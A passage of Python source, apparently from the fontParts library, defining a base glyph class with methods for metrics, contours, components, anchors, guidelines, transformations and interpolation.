return an integer or None.\n\n Subclasses may override this method.\n \"\"\"\n values = self.unicodes\n if values:\n return values[0]\n return None\n\n def _set_unicode(self, value):\n \"\"\"\n Assign the primary unicode to the glyph.\n This will be an integer or None.\n\n Subclasses may override this method.\n \"\"\"\n values = list(self.unicodes)\n if value in values:\n values.remove(value)\n values.insert(0, value)\n self.unicodes = values\n\n def autoUnicodes(self):\n \"\"\"\n Use heuristics to set the Unicode values in the glyph.\n\n >>> glyph.autoUnicodes()\n\n Environments will define their own heuristics for\n automatically determining values.\n \"\"\"\n self._autoUnicodes()\n\n def _autoUnicodes(self):\n \"\"\"\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # -------\n # Metrics\n # -------\n\n # horizontal\n\n width = dynamicProperty(\n \"base_width\",\n \"\"\"\n The glyph's width.\n\n >>> glyph.width\n 500\n >>> glyph.width = 200\n \"\"\"\n )\n\n def _get_base_width(self):\n value = self._get_width()\n value = normalizers.normalizeGlyphWidth(value)\n return value\n\n def _set_base_width(self, value):\n value = normalizers.normalizeGlyphWidth(value)\n self._set_width(value)\n\n def _get_width(self):\n \"\"\"\n This must return an int or float.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _set_width(self, value):\n \"\"\"\n value will be an int or float.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n leftMargin = dynamicProperty(\n \"base_leftMargin\",\n \"\"\"\n The glyph's left margin.\n\n >>> glyph.leftMargin\n 35\n >>> glyph.leftMargin = 45\n \"\"\"\n )\n\n def _get_base_leftMargin(self):\n value = self._get_leftMargin()\n value = normalizers.normalizeGlyphLeftMargin(value)\n return value\n\n def _set_base_leftMargin(self, value):\n value = normalizers.normalizeGlyphLeftMargin(value)\n self._set_leftMargin(value)\n\n def _get_leftMargin(self):\n \"\"\"\n This must return an int or float.\n\n Subclasses may override this method.\n \"\"\"\n bounds = self.bounds\n if bounds is None:\n return 0\n xMin, yMin, xMax, yMax = bounds\n return xMin\n\n def _set_leftMargin(self, value):\n \"\"\"\n value will be an int or float.\n\n Subclasses may override this method.\n \"\"\"\n diff = value - self.leftMargin\n self.moveBy((diff, 0))\n self.width += diff\n\n rightMargin = dynamicProperty(\n \"base_rightMargin\",\n \"\"\"\n The glyph's right margin.\n\n >>> glyph.rightMargin\n 35\n >>> glyph.rightMargin = 45\n \"\"\"\n )\n\n def _get_base_rightMargin(self):\n value = self._get_rightMargin()\n value = normalizers.normalizeGlyphRightMargin(value)\n return value\n\n def _set_base_rightMargin(self, value):\n value = normalizers.normalizeGlyphRightMargin(value)\n self._set_rightMargin(value)\n\n def _get_rightMargin(self):\n \"\"\"\n This must return an int or float.\n\n Subclasses may override this method.\n \"\"\"\n bounds = self.bounds\n if bounds is None:\n return self.width\n xMin, yMin, xMax, yMax = bounds\n return self.width - xMax\n\n def _set_rightMargin(self, value):\n \"\"\"\n value will be an int or float.\n\n Subclasses may override this method.\n \"\"\"\n bounds = self.bounds\n if bounds is None:\n self.width = value\n else:\n xMin, yMin, xMax, yMax = bounds\n self.width = xMax + value\n\n # vertical\n\n height = dynamicProperty(\n \"base_height\",\n \"\"\"\n The glyph's height.\n\n >>> glyph.height\n 500\n >>> glyph.height = 200\n \"\"\"\n )\n\n def _get_base_height(self):\n value = self._get_height()\n value = normalizers.normalizeGlyphHeight(value)\n return value\n\n def _set_base_height(self, value):\n value = normalizers.normalizeGlyphHeight(value)\n self._set_height(value)\n\n def _get_height(self):\n \"\"\"\n This must return an int or float.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _set_height(self, value):\n \"\"\"\n value will be an int or float.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n bottomMargin = dynamicProperty(\n \"base_bottomMargin\",\n \"\"\"\n The glyph's bottom margin.\n\n >>> glyph.bottomMargin\n 35\n >>> glyph.bottomMargin = 45\n \"\"\"\n )\n\n def _get_base_bottomMargin(self):\n value = self._get_bottomMargin()\n value = normalizers.normalizeGlyphBottomMargin(value)\n return value\n\n def _set_base_bottomMargin(self, value):\n value = normalizers.normalizeGlyphBottomMargin(value)\n self._set_bottomMargin(value)\n\n def _get_bottomMargin(self):\n \"\"\"\n This must return an int or float.\n\n Subclasses may override this method.\n \"\"\"\n bounds = self.bounds\n if bounds is None:\n return 0\n xMin, yMin, xMax, yMax = bounds\n return yMin\n\n def _set_bottomMargin(self, value):\n \"\"\"\n value will be an int or float.\n\n Subclasses may override this method.\n \"\"\"\n diff = value - self.bottomMargin\n self.moveBy((0, diff))\n self.height += diff\n\n topMargin = dynamicProperty(\n \"base_topMargin\",\n \"\"\"\n The glyph's top margin.\n\n >>> glyph.topMargin\n 35\n >>> glyph.topMargin = 45\n \"\"\"\n )\n\n def _get_base_topMargin(self):\n value = self._get_topMargin()\n value = normalizers.normalizeGlyphTopMargin(value)\n return value\n\n def _set_base_topMargin(self, value):\n value = normalizers.normalizeGlyphTopMargin(value)\n self._set_topMargin(value)\n\n def _get_topMargin(self):\n \"\"\"\n This must return an int or float.\n\n Subclasses may override this method.\n \"\"\"\n bounds = self.bounds\n if bounds is None:\n return self.height\n xMin, yMin, xMax, yMax = bounds\n return self.height - yMax\n\n def _set_topMargin(self, value):\n \"\"\"\n value will be an int or float.\n\n Subclasses may override this method.\n \"\"\"\n bounds = self.bounds\n if bounds is None:\n self.height = value\n else:\n xMin, yMin, xMax, yMax = bounds\n self.height = yMax + value\n\n # ----\n # Pens\n # ----\n\n def getPen(self):\n \"\"\"\n Return a Pen object for modifying the glyph.\n\n >>> pen = glyph.getPen()\n \"\"\"\n self.raiseNotImplementedError()\n\n def getPointPen(self):\n \"\"\"\n Return a PointPen object for modifying the glyph.\n\n >>> pointPen = glyph.getPointPen()\n \"\"\"\n self.raiseNotImplementedError()\n\n def draw(self, pen, contours=True, components=True):\n \"\"\"\n Draw the glyph with the given Pen.\n\n >>> glyph.draw(pen)\n >>> glyph.draw(pen, contours=True, components=False)\n \"\"\"\n if contours:\n for contour in self:\n contour.draw(pen)\n if components:\n for component in self.components:\n component.draw(pen)\n\n def drawPoints(self, pen, contours=True, components=True):\n \"\"\"\n Draw the glyph with the given PointPen.\n\n >>> glyph.drawPoints(pointPen)\n >>> glyph.drawPoints(pointPen, contours=True, components=False)\n \"\"\"\n if contours:\n for contour in self:\n contour.drawPoints(pen)\n if components:\n for component in self.components:\n component.drawPoints(pen)\n\n # -----------------------------------------\n # Contour, Component and Anchor Interaction\n # -----------------------------------------\n\n def clear(self, contours=True, components=True, anchors=True, guidelines=True, image=True):\n \"\"\"\n Clear the glyph.\n\n >>> glyph.clear()\n\n This clears:\n\n - contours\n - components\n - anchors\n - guidelines\n - image\n\n It's possible to selectively turn off the clearing\n of portions of the glyph with the arguments.\n \"\"\"\n self._clear(contours=contours, components=components, anchors=anchors, guidelines=guidelines, image=image)\n\n def _clear(self, contours=True, components=True, anchors=True, guidelines=True, image=True):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n if contours:\n self.clearContours()\n if components:\n self.clearComponents()\n if anchors:\n self.clearAnchors()\n if guidelines:\n self.clearGuidelines()\n if image:\n self.clearImage()\n\n def appendGlyph(self, other, offset=None):\n \"\"\"\n Append copies of the contours, components,\n anchors and guidelines from other.\n\n >>> glyph.appendGlyph(otherGlyph)\n >>> glyph.appendGlyph(otherGlyph, (100, 0))\n\n offset indicates the offset that should\n be applied to the appended data. The default\n is (0, 0).\n \"\"\"\n if offset is None:\n offset = (0, 0)\n offset = normalizers.normalizeTransformationOffset(offset)\n self._appendGlyph(other, offset)\n\n def _appendGlyph(self, other, offset=None):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n other = other.copy()\n if offset != (0, 0):\n other.moveBy(offset)\n pen = self.getPointPen()\n other.drawPoints(pen)\n for anchor in other.anchors:\n self.appendAnchor(\n anchor[\"name\"],\n (anchor[\"x\"], anchor[\"y\"]),\n anchor[\"color\"]\n )\n for guideline in other.guidelines:\n self.appendGuideline(\n (guideline.x, guideline.y),\n guideline.angle,\n guideline.name,\n guideline.color\n )\n\n # Contours\n\n def _setGlyphInContour(self, contour):\n if contour.glyph is None:\n contour.glyph = self\n\n contours = dynamicProperty(\n \"contours\",\n \"\"\"\n An immutable list of contours in the glyph.\n\n >>> for contour in glyph.contours:\n ... contour.bounds\n (10, 15, 57, 36)\n (875, 35, 926, 647)\n \"\"\"\n )\n\n def _get_contours(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return tuple([self[i] for i in range(len(self))])\n\n def __len__(self):\n \"\"\"\n The number of contours in the glyph.\n\n >>> len(glyph)\n 2\n \"\"\"\n return self._lenContours()\n\n def _lenContours(self, **kwargs):\n \"\"\"\n This must return an integer.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def __iter__(self):\n \"\"\"\n Iterate through the contours in the glyph.\n\n >>> for contour in glyph:\n ... contour.bounds\n (10, 15, 57, 36)\n (875, 35, 926, 647)\n \"\"\"\n return self._iterContours()\n\n def _iterContours(self, **kwargs):\n \"\"\"\n This must return an iterator that returns wrapped contours.\n\n Subclasses may override this method.\n \"\"\"\n count = len(self)\n index = 0\n while count:\n yield self[index]\n count -= 1\n index += 1\n\n def __getitem__(self, index):\n \"\"\"\n Get the contour located at index from the glyph.\n\n >>> contour = glyph[0]\n \"\"\"\n index = normalizers.normalizeContourIndex(index)\n if index >= len(self):\n raise FontPartsError(\"No contour located at index %d.\" % index)\n contour = self._getContour(index)\n self._setGlyphInContour(contour)\n return contour\n\n def _getContour(self, index, **kwargs):\n \"\"\"\n This must return a wrapped contour.\n\n index will be a valid index.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _getContourIndex(self, contour):\n for i, other in enumerate(self.contours):\n if contour == other:\n return i\n raise FontPartsError(\"The contour could not be found.\")\n\n def appendContour(self, contour, offset=None):\n \"\"\"\n A copy of the given contour to the glyph.\n\n >>> contour = glyph.appendContour(contour)\n >>> contour = glyph.appendContour(contour, (100, 0))\n\n offset indicates the distance that the\n contour should be offset when added to\n the glyph. The default is (0, 0).\n \"\"\"\n contour = normalizers.normalizeContour(contour)\n if offset is None:\n offset = (0, 0)\n offset = normalizers.normalizeTransformationOffset(offset)\n return self._appendContour(contour, offset)\n\n def _appendContour(self, contour, offset=None, **kwargs):\n \"\"\"\n contour will be an object with a drawPoints method.\n\n offset will be a valid offset (x, y).\n\n This must return the new contour.\n\n Subclasses may override this method.\n \"\"\"\n copy = contour.copy()\n if offset != (0, 0):\n copy.moveBy(offset)\n pointPen = self.getPointPen()\n contour.drawPoints(pointPen)\n return self[-1]\n\n def removeContour(self, contour):\n \"\"\"\n Remove the contour from the glyph.\n\n >>> glyph.removeContour(contour)\n >>> glyph.removeContour(0)\n\n Contour may be a contour object or a contour index.\n \"\"\"\n if isinstance(contour, int):\n index = contour\n else:\n index = self._getContourIndex(contour)\n index = normalizers.normalizeContourIndex(index)\n if index >= len(self):\n raise FontPartsError(\"No contour located at index %d.\" % index)\n self._removeContour(index)\n\n def _removeContour(self, index, **kwargs):\n \"\"\"\n index will be a valid index.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def clearContours(self):\n \"\"\"\n Clear all contours.\n\n >>> glyph.clearContours()\n \"\"\"\n self._clearContours()\n\n def _clearContours(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n for i in range(len(self)):\n self.removeContour(-1)\n\n def removeOverlap(self):\n \"\"\"\n Perform a remove overlap operation on the contours.\n\n >>> glyph.removeOverlap()\n \"\"\"\n\n def _removeOverlap(self):\n \"\"\"\n Subclasses must implement this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n # Components\n\n def _setGlyphInComponent(self, component):\n if component.glyph is None:\n component.glyph = self\n\n components = dynamicProperty(\n \"components\",\n \"\"\"\n An immutable list of components in the glyph.\n\n >>> for component in glyph.components:\n ... component.baseGlyph\n \"A\"\n \"acute\"\n \"\"\"\n )\n\n def _get_components(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return tuple([self._getitem__components(i) for i in range(self._len__components())])\n\n def _len__components(self):\n return self._lenComponents()\n\n def _lenComponents(self, **kwargs):\n \"\"\"\n This must return an integer indicating\n the number of components in the glyph.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _getitem__components(self, index):\n index = normalizers.normalizeComponentIndex(index)\n if index >= self._len__components():\n raise FontPartsError(\"No component located at index %d.\" % index)\n component = self._getComponent(index)\n self._setGlyphInComponent(component)\n return component\n\n def _getComponent(self, index, **kwargs):\n \"\"\"\n This must return a wrapped component.\n\n index will be a valid index.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _getComponentIndex(self, component):\n for i, other in enumerate(self.components):\n if component == other:\n return i\n raise FontPartsError(\"The component could not be found.\")\n\n def appendComponent(self, baseGlyph, offset=None, scale=None):\n \"\"\"\n Append a new component to the glyph.\n\n >>> component = glyph.appendComponent(\"A\")\n >>> component = glyph.appendComponent(\"acute\", offset=(20, 200))\n\n baseGlyph indicates the glyph that the\n component will reference.\n offset indictaes the offset that should\n be defined in the component. The default\n is (0, 0).\n scale indicates the scale that should be\n defined in the component. The default is\n (1.0, 1.0).\n \"\"\"\n baseGlyph = normalizers.normalizeGlyphName(baseGlyph)\n if self.name == baseGlyph:\n raise FontPartsError(\"A glyph cannot contain a component referencing itself.\")\n if offset is None:\n offset = (0, 0)\n if scale is None:\n scale = (1, 1)\n offset = normalizers.normalizeTransformationOffset(offset)\n scale = normalizers.normalizeTransformationScale(scale)\n ox, oy = offset\n sx, sy = scale\n transformation = (sx, 0, 0, sy, ox, oy)\n return self._appendComponent(baseGlyph, transformation=transformation)\n\n def _appendComponent(self, baseGlyph, transformation=None, **kwargs):\n \"\"\"\n baseGlyph will be a valid glyph name.\n The baseGlyph may or may not be in the layer.\n\n offset will be a valid offset (x, y).\n scale will be a valid scale (x, y).\n\n This must return the new component.\n\n Subclasses may override this method.\n \"\"\"\n pointPen = self.getPointPen()\n pointPen.addComponent(baseGlyph, transformation=transformation)\n return self.components[-1]\n\n def removeComponent(self, component):\n \"\"\"\n Remove component from the glyph.\n\n >>> glyph.removeComponent(component)\n >>> glyph.removeComponent(1)\n\n component can be a component object or an\n integer representing the component index.\n \"\"\"\n if isinstance(component, int):\n index = component\n else:\n index = self._getComponentIndex(component)\n index = normalizers.normalizeComponentIndex(index)\n if index >= self._len__components():\n raise FontPartsError(\"No component located at index %d.\" % index)\n self._removeComponent(index)\n\n def _removeComponent(self, index, **kwargs):\n \"\"\"\n index will be a valid index.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def clearComponents(self):\n \"\"\"\n Clear all components.\n\n >>> glyph.clearComponents()\n \"\"\"\n self._clearComponents()\n\n def _clearComponents(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n for i in range(self._len__components()):\n self.removeComponent(-1)\n\n def decompose(self):\n \"\"\"\n Decompose all components.\n\n >>> glyph.decompose()\n \"\"\"\n self._decompose()\n\n def _decompose(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n for component in self.components:\n component.decompose()\n\n # Anchors\n\n def _setGlyphInAnchor(self, anchor):\n if anchor.glyph is None:\n anchor.glyph = self\n\n anchors = dynamicProperty(\n \"anchors\",\n \"\"\"\n An immutable list of anchors in the glyph.\n\n >>> for anchor in glyph.anchors:\n ... anchor.name\n \"top\"\n \"\"\"\n )\n\n def _get_anchors(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return tuple([self._getitem__anchors(i) for i in range(self._len__anchors())])\n\n def _len__anchors(self):\n return self._lenAnchors()\n\n def _lenAnchors(self, **kwargs):\n \"\"\"\n This must return an integer indicating\n the number of anchors in the glyph.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _getitem__anchors(self, index):\n index = normalizers.normalizeAnchorIndex(index)\n if index >= self._len__anchors():\n raise FontPartsError(\"No anchor located at index %d.\" % index)\n anchor = self._getAnchor(index)\n self._setGlyphInAnchor(anchor)\n return anchor\n\n def _getAnchor(self, index, **kwargs):\n \"\"\"\n This must return a wrapped anchor.\n\n index will be a valid index.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _getAnchorIndex(self, anchor):\n for i, other in enumerate(self.anchors):\n if anchor == other:\n return i\n raise FontPartsError(\"The anchor could not be found.\")\n\n def appendAnchor(self, name, position, color=None):\n \"\"\"\n Append a new anchor to the glyph.\n\n >>> anchor = glyph.appendAnchor(\"top\", (50, 500))\n >>> anchor = glyph.appendAnchor(\"top\", (50, 500), (1, 0, 0, 0.5))\n\n name indicates the name that should be\n assigned to the anchor.\n position is an (x, y) tuple defining\n the position for the anchor.\n color is None or a color tuple.\n \"\"\"\n name = normalizers.normalizeAnchorName(name)\n position = normalizers.normalizeCoordinateTuple(position)\n if color is not None:\n color = normalizers.normalizeColor(color)\n return self._appendAnchor(name, position=position, color=color)\n\n def _appendAnchor(self, name, position=None, color=None, **kwargs):\n \"\"\"\n name will be a valid anchor name.\n position will be a valid position (x, y).\n color will be None or a valid color.\n\n This must return the new anchor.\n\n Subclasses may override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def removeAnchor(self, anchor):\n \"\"\"\n Remove anchor from the glyph.\n\n >>> glyph.removeAnchor(anchor)\n >>> glyph.removeAnchor(2)\n\n anchor can be a anchor object or an\n integer representing the anchor index.\n \"\"\"\n if isinstance(anchor, int):\n index = anchor\n else:\n index = self._getAnchorIndex(anchor)\n index = normalizers.normalizeAnchorIndex(index)\n if index >= self._len__anchors():\n raise FontPartsError(\"No anchor located at index %d.\" % index)\n self._removeAnchor(index)\n\n def _removeAnchor(self, index, **kwargs):\n \"\"\"\n index will be a valid index.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def clearAnchors(self):\n \"\"\"\n Clear all anchors.\n\n >>> glyph.clearAnchors()\n \"\"\"\n self._clearAnchors()\n\n def _clearAnchors(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n for i in range(self._len__anchors()):\n self.removeAnchor(-1)\n\n # ----------\n # Guidelines\n # ----------\n\n def _setGlyphInGuideline(self, guideline):\n if guideline.glyph is None:\n guideline.glyph = self\n\n guidelines = dynamicProperty(\n \"guidelines\",\n \"\"\"\n An immutable list of font-level guidelines.\n\n >>> for guideline in glyph.guidelines:\n ... guideline.angle\n 0\n 45\n 90\n \"\"\"\n )\n\n def _get_guidelines(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n return tuple([self._getitem__guidelines(i) for i in range(self._len__guidelines())])\n\n def _len__guidelines(self):\n return self._lenGuidelines()\n\n def _lenGuidelines(self, **kwargs):\n \"\"\"\n This must return an integer indicating\n the number of guidelines in the glyph.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _getitem__guidelines(self, index):\n index = normalizers.normalizeGuidelineIndex(index)\n if index >= self._len__guidelines():\n raise FontPartsError(\"No guideline located at index %d.\" % index)\n guideline = self._getGuideline(index)\n self._setGlyphInGuideline(guideline)\n return guideline\n\n def _getGuideline(self, index, **kwargs):\n \"\"\"\n This must return a wrapped guideline.\n\n index will be a valid index.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def _getGuidelineIndex(self, guideline):\n for i, other in enumerate(self.guidelines):\n if guideline == other:\n return i\n raise FontPartsError(\"The guideline could not be found.\")\n\n def appendGuideline(self, position, angle, name=None, color=None):\n \"\"\"\n Append a new guideline to the glyph.\n\n >>> guideline = glyph.appendGuideline((50, 0), 90)\n >>> guideline = glyph.appendGuideline((0, 540), 0, name=\"overshoot\", color=(0, 0, 0, 0.2))\n\n position (x, y) indicates the position of the guideline.\n angle indicates the angle of the guideline.\n name indicates the name for the guideline.\n color indicates the color for the guideline.\n\n \"\"\"\n position = normalizers.normalizeCoordinateTuple(position)\n angle = normalizers.normalizeGuidelineAngle(angle)\n if name is not None:\n name = normalizers.normalizeGuidelineName(name)\n if color is not None:\n color = normalizers.normalizeColor(color)\n return self._appendGuideline(position, angle, name=name, color=color)\n\n def _appendGuideline(self, position, angle, name=None, color=None, **kwargs):\n \"\"\"\n position will be a valid position (x, y).\n angle will be a valida angle.\n name will be a valid guideline name or None.\n color will be a valid color or None .\n\n This must return the new guideline.\n\n Subclasses may override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def removeGuideline(self, guideline):\n \"\"\"\n Remove guideline from the glyph.\n\n >>> glyph.removeGuideline(guideline)\n >>> glyph.removeGuideline(2)\n\n guideline can be a guideline object or an\n integer representing the guideline index.\n \"\"\"\n if isinstance(guideline, int):\n index = guideline\n else:\n index = self._getGuidelineIndex(guideline)\n index = normalizers.normalizeGuidelineIndex(index)\n if index >= self._len__guidelines():\n raise FontPartsError(\"No guideline located at index %d.\" % index)\n self._removeGuideline(index)\n\n def _removeGuideline(self, index, **kwargs):\n \"\"\"\n index will be a valid index.\n\n Subclasses must override this method.\n \"\"\"\n self.raiseNotImplementedError()\n\n def clearGuidelines(self):\n \"\"\"\n Clear all guidelines.\n\n >>> glyph.clearGuidelines()\n \"\"\"\n self._clearGuidelines()\n\n def _clearGuidelines(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n for i in range(self._len__guidelines()):\n self.removeGuideline(-1)\n\n # ------------------\n # Data Normalization\n # ------------------\n\n def round(self):\n \"\"\"\n Round coordinates.\n\n >>> glyph.round()\n\n This applies to the following:\n\n - width\n - height\n - contours\n - components\n - anchors\n - guidelines\n \"\"\"\n self._round()\n\n def _round(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n self.width = normalizers.normalizeRounding(self.width)\n for contour in self.contours:\n contour.round()\n for component in self.components:\n component.round()\n for anchor in self.anchors:\n anchor.round()\n for guideline in self.guidelines:\n guideline.round()\n\n def correctDirection(self, trueType=False):\n \"\"\"\n Correct the direction of the contours in the glyph.\n\n >>> glyph.correctDirection()\n \"\"\"\n self._correctDirection(trueType=trueType)\n\n def _correctDirection(self, trueType=False, **kwargs):\n \"\"\"\n XXX\n\n This could be ported from RoboFab, however\n that algorithm is not robust enough. Specifically\n it relies on bounds and hit testing to\n determine nesting.\n\n XXX\n \"\"\"\n self.raiseNotImplementedError()\n\n def autoContourOrder(self):\n \"\"\"\n Sort the contours based on their centers.\n\n >>> glyph.autoContourOrder()\n \"\"\"\n self._autoContourOrder()\n\n def _autoContourOrder(self, **kwargs):\n \"\"\"\n XXX\n\n This can be ported from RoboFab.\n\n XXX\n \"\"\"\n self.raiseNotImplementedError()\n\n # --------------\n # Transformation\n # --------------\n\n def transformBy(self, matrix, origin=None, width=False, height=False):\n \"\"\"\n Transform the glyph. See :meth:`BaseObject.transformBy` for complete details.\n\n **width** indicates if the glyph's width should be transformed.\n **height** indicates if the glyph's height should be transformed.\n \"\"\"\n super(BaseGlyph, self).transformBy(matrix, origin=origin, width=width, height=height)\n\n def _transformBy(self, matrix, width=False, height=False, **kwargs):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n for contour in self.contours:\n contour.transformBy(matrix)\n for component in self.components:\n component.transformBy(matrix)\n for anchor in self.anchors:\n anchor.transformBy(matrix)\n for guideline in self.guidelines:\n guideline.transformBy(matrix)\n if width or height:\n t = transform.Transform(*matrix)\n w, h = t.transformPoint((self.width, self.height))\n if width:\n self.width = w\n if height:\n self.height = h\n\n def scaleBy(self, value, origin=None, width=False, height=False):\n \"\"\"\n Scale the glyph. See :meth:`BaseObject.scaleBy` for complete details.\n\n **width** indicates if the glyph's width should be scaled.\n **height** indicates if the glyph's height should be scaled.\n \"\"\"\n super(BaseGlyph, self).scaleBy(matrix, origin=origin, width=width, height=height)\n\n # --------------------\n # Interpolation & Math\n # --------------------\n\n def toMathGlyph(self):\n \"\"\"\n Returns the glyph as a MathGlyph.\n\n >>> mg = glyph.toMathGlyph()\n \"\"\"\n return self._toMathGlyph()\n\n def _toMathGlyph(self):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n import fontMath\n mathGlyph = fontMath.MathGlyph(None)\n pen = mathGlyph.getPointPen()\n self.drawPoints(pen)\n for anchor in self.anchors:\n d = dict(\n x=anchor.x,\n y=anchor.y,\n name=anchor.name,\n identifier=anchor.identifier,\n color=anchor.color\n )\n mathGlyph.anchors.append(d)\n for guideline in self.guidelines:\n d = dict(\n x=guideline.x,\n y=guideline.y,\n angle=guideline.angle,\n name=guideline.name,\n identifier=guideline.identifier,\n color=guideline.color\n )\n mathGlyph.guidelines.append(d)\n image = self.image\n mathGlyph.image = dict(\n # MathGlyph works with image file names, hack\n # around it by using the data as the file name.\n fileName=image.data,\n transformation=image.transformation,\n color=image.color\n )\n mathGlyph.lib = deepcopy(self.lib)\n mathGlyph.name = self.name\n mathGlyph.unicodes = self.unicodes\n mathGlyph.width = self.width\n mathGlyph.height = self.height\n mathGlyph.note = self.note\n return mathGlyph\n\n def fromMathGlyph(self, mathGlyph):\n \"\"\"\n Replaces the glyph with the contents of a MathGlyph.\n\n >>> glyph = glyph.fromMathGlyph(mg)\n\n mathGlyph is the mathGlyph to put into the current glyph.\n \"\"\"\n return self._fromMathGlyph(mathGlyph, toThisGlyph=True)\n\n def _fromMathGlyph(self, mathGlyph, toThisGlyph=False):\n # make the destination\n if toThisGlyph:\n copied = self\n copied.clear()\n else:\n copyClass = self.copyClass\n if copyClass is None:\n copyClass = self.__class__\n copied = copyClass()\n # populate\n pen = copied.getPointPen()\n mathGlyph.drawPoints(pen, filterRedundantPoints=True)\n for anchor in mathGlyph.anchors:\n a = copied.appendAnchor(\n name=anchor[\"name\"],\n position=(anchor[\"x\"], anchor[\"y\"]),\n color=anchor[\"color\"]\n )\n identifier = anchor.get(\"identifier\")\n if identifier is not None:\n a._setIdentifier(identifier)\n for guideline in mathGlyph.guidelines:\n g = copied.appendGuideline(\n position=(guideline[\"x\"], guideline[\"y\"]),\n angle=guideline[\"angle\"],\n name=guideline[\"name\"],\n color=guideline[\"color\"]\n )\n identifier = guideline.get(\"identifier\")\n if identifier is not None:\n g._setIdentifier(identifier)\n data = mathGlyph.image[\"fileName\"] # see _toMathGlyph\n if data is not None:\n image = self.image\n image.data = data\n image.transformation = mathGlyph.image[\"transformation\"]\n image.color = mathGlyph.image[\"color\"]\n copied.lib.update(mathGlyph.lib)\n if not toThisGlyph:\n copied.name = mathGlyph.name\n copied.unicodes = mathGlyph.unicodes\n copied.width = mathGlyph.width\n copied.height = mathGlyph.height\n copied.note = mathGlyph.note\n return copied\n\n def __mul__(self, factor):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n mathGlyph = self._toMathGlyph()\n result = mathGlyph * factor\n copied = self._fromMathGlyph(result)\n return copied\n\n __rmul__ = __mul__\n\n def __truediv__(self, factor):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n mathGlyph = self._toMathGlyph()\n result = mathGlyph / factor\n copied = self._fromMathGlyph(result)\n return copied\n\n # py2 support\n __div__ = __truediv__\n\n def __add__(self, other):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n selfMathGlyph = self._toMathGlyph()\n otherMathGlyph = other._toMathGlyph()\n result = selfMathGlyph + otherMathGlyph\n copied = self._fromMathGlyph(result)\n return copied\n\n def __sub__(self, other):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n selfMathGlyph = self._toMathGlyph()\n otherMathGlyph = other._toMathGlyph()\n result = selfMathGlyph - otherMathGlyph\n copied = self._fromMathGlyph(result)\n return copied\n\n def interpolate(self, factor, minGlyph, maxGlyph, round=True, suppressError=True):\n \"\"\"\n Interpolate all possible data in the glyph.\n\n >>> glyph.interpolate(0.5, otherGlyph1, otherGlyph2)\n >>> glyph.interpolate((0.5, 2.0), otherGlyph1, otherGlyph2, round=False)\n\n The interpolation occurs on a 0 to 1.0 range where minGlyph\n is located at 0 and maxGlyph is located at 1.0.\n\n factor is the interpolation value. It may be less than 0\n and greater than 1.0. It may be a number (integer, float)\n or a tuple of two numbers. If it is a tuple, the first\n number indicates the x factor and the second number\n indicates the y factor.\n\n round indicates if the result should be rounded to integers.\n\n suppressError indicates if incompatible data should be ignored\n or if an error should be raised when such incompatibilities are found.\n \"\"\"\n factor = normalizers.normalizeInterpolationFactor(factor)\n if not isinstance(minGlyph, BaseGlyph):\n raise FontPartsError(\"Interpolation to an instance of %r can not be performed from an instance of %r.\" % (self.__class__.__name__, minGlyph.__class__.__name__))\n if not isinstance(maxGlyph, BaseGlyph):\n raise FontPartsError(\"Interpolation to an instance of %r can not be performed from an instance of %r.\" % (self.__class__.__name__, maxGlyph.__class__.__name__))\n round = normalizers.normalizeBoolean(round)\n suppressError = normalizers.normalizeBoolean(suppressError)\n self._interpolate(factor, minGlyph, maxGlyph, round=round, suppressError=suppressError)\n\n def _interpolate(self, factor, minGlyph, maxGlyph, round=True, suppressError=True):\n \"\"\"\n Subclasses may override this method.\n \"\"\"\n minGlyph = minGlyph._toMathGlyph()\n maxGlyph = maxGlyph._toMathGlyph()\n try:\n result = interpolate(minGlyph, maxGlyph, factor)\n except IndexError:\n result = None\n if result is None and not suppressError:\n raise FontPartsError(\"Glyphs '%s' and '%s' could not be interpolated.\" % (minGlyph.name, maxGlyph.name))\n if result is not None:\n if round:\n result = result.round()\n self._fromMathGlyph(result, toThisGlyph=True)\n\n compatibilityReporterClass = GlyphCompatibilityReporter\n\n def _checkPairs(self, object1, object2, reporter, reporterObject):\n compatibility = object1.isCompatible(object2)[1]\n if compatibility.fatal or compatibility.warning:\n if compatibility.fatal:\n reporter.fatal = True\n if compatibility.warning:\n reporter.warning = True\n 